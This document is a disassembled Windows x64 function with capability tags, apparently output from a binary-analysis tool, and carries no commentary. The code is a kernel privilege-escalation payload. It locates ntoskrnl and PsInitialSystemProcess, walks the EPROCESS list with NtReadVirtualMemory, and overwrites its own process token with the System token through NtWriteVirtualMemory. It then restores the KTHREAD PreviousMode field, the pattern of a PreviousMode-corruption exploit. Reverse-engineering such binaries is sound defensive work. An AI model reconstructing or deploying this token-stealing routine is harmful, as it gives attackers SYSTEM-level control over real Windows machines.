Function at 0x140002050
Capabilities:
Get system information on windows
Load ntoskrnl
Make suspicious ntquerysysteminformation call
Resolve ntoskrnl gadgets
Terminate process

Disassembly:
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 0x10], rax
xor r14d, r14d
mov eax, r14d
mov qword [rbp - 0x40], r14
mov dword [rbp - 0x2c], eax
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x20], r14
nop word [rax + rax]
mov edx, eax
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp - 0x2c]
xor edx, edx
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
mov r8d, dword [rbp - 0x2c]
lea r9, [rbp - 0x2c]
mov rdx, rdi
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1400020e0
cmp eax, 0xc0000023
jne 0x1400020e5
nop dword [rax + rax]
mov eax, dword [rbp - 0x2c]
jmp 0x140002090
test eax, eax
je 0x140002101
lea rcx, str.____Could_not_NtQuerySystemInformation._n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x80], rbx
mov ebx, r14d
mov qword [rsp + 0x88], rsi
cmp dword [rdi], ebx
jbe 0x140002153
nop dword [rax + rax]
mov eax, ebx
lea rdx, str.ntoskrnl.exe
imul rcx, rax, 0x128
movzx eax, word [rcx + rdi + 0x2e]
add rax, 0x30
lea rsi, [rcx + rdi]
add rcx, rax
add rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14000216b
inc ebx
cmp ebx, dword [rdi]
jb 0x140002120
lea rcx, str.____Could_not_find_ntoskrnl._n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rsi, qword [rsi + 0x18]
test rsi, rsi
je 0x140002444
mov rdx, rsi
lea rcx, str.___Kernel_base_address:_llx_n
call fcn.140001010
lea rcx, str.ntoskrnl.exe
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
jne 0x1400021b1
lea rcx, str.____Couldnt_load_ntoskrnl.exe_n
call fcn.140001010
lea rcx, str.____Couldnt_get_global_variable_of_PsInitialSystemProcess_n
jmp 0x14000221c
lea rdx, str.PsInitialSystemProcess
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14000242c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
sub ebx, edi
je 0x140002438
add rbx, rsi
lea rcx, str.___Address_of_PsInitialSystemProcess:__llx_n
mov rdx, rbx
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], r14
mov rcx, rax
lea r8, [rbp - 0x40]
mov rdx, rbx
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
test eax, eax
jns 0x140002254
lea rcx, str.____Error_in_NtReadVirtualMemory_address_of_PsInitialSystemProcess_n
call fcn.140001010
mov eax, 1
mov rbx, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x88]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140002d60
lea r11, [rsp + 0x70]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov rdx, qword [rbp - 0x40]
lea rcx, str.___Address_of_System__EPROCESS:__llx_n
call fcn.140001010
mov rbx, qword [rbp - 0x40]
lea rcx, str.___Address_of_Active_process_link_in__EPROCESS:__llx_n
add rbx, 0x448
mov qword [rbp - 0x38], r14
mov rdx, rbx
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
mov dword [rbp - 0x2c], r14d
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], r14
mov rcx, rax
lea r8, [rbp - 0x38]
mov rdx, rbx
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
mov rbx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 4
mov qword [rsp + 0x20], r14
mov rcx, rax
lea r8, [rbp - 0x2c]
lea rdx, [rbx - 8]
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
mov rbx, qword [rbp - 0x38]
cmp edi, dword [rbp - 0x2c]
jne 0x140002290
lea rdi, [rbx - 0x448]
mov rdx, rdi
lea rcx, str.___Address_of_EPROCESS_of_current_process:__llx_n
call fcn.140001010
mov rbx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], r14
mov rcx, rax
lea r8, [rbp - 0x28]
lea rdx, [rbx + 0x4b8]
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
test eax, eax
jns 0x14000232f
lea rcx, str.____Error_in_NtReadVirtualMemory_read_Token_from_System__EPROCESS_n
jmp 0x14000221c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], r14
mov rcx, rax
lea r8, [rbp - 0x20]
lea rdx, [rdi + 0x4b8]
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
test eax, eax
jns 0x140002364
lea rcx, str.____Error_in_NtReadVirtualMemory_read_Token_from_current__EPROCESS_n
jmp 0x14000221c
mov rax, qword [rbp - 0x20]
lea rcx, str.___System_TOKEN:__llx_n
mov rdx, qword [rbp - 0x28]
and eax, 0xf
and rdx, 0xfffffffffffffff0
mov qword [rbp - 0x20], rax
or rax, rdx
mov qword [rbp - 0x28], rdx
mov qword [rbp - 0x18], rax
call fcn.140001010
mov rdx, qword [rbp - 0x18]
lea rcx, str.___New_TOKEN:__llx_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], r14
mov rcx, rax
lea r8, [rbp - 0x18]
lea rdx, [rdi + 0x4b8]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
jns 0x1400023d3
lea rcx, str.____Error_in_NtWriteVirtualMemory_write_NewToken_to_current__EPROCESS_n
jmp 0x14000221c
call fcn.1400011c0
test rax, rax
jne 0x1400023e9
lea rcx, str.____Couldnt_get_KTHREAD_address_of_current_process_n
jmp 0x14000221c
mov byte [rbp - 0x30], 1
lea rbx, [rax + 0x232]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 1
mov qword [rsp + 0x20], r14
mov rcx, rax
lea r8, [rbp - 0x30]
mov rdx, rbx
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
jns 0x140002425
lea rcx, str.____Error_in_NtWriteVirtualMemory_restore_PreviousMode_in_current__KTHREAD_n
jmp 0x14000221c
xor eax, eax
jmp 0x140002226
lea rcx, str.____Couldnt_GetProcAddress_of_PsInitialSystemProcess_n
call fcn.140001010
lea rcx, str.____Couldnt_get_global_variable_of_PsInitialSystemProcess_n
jmp 0x14000221c
lea rcx, str.____Cannot_get_address_of_NtOskrnl.exe_n
jmp 0x14000221c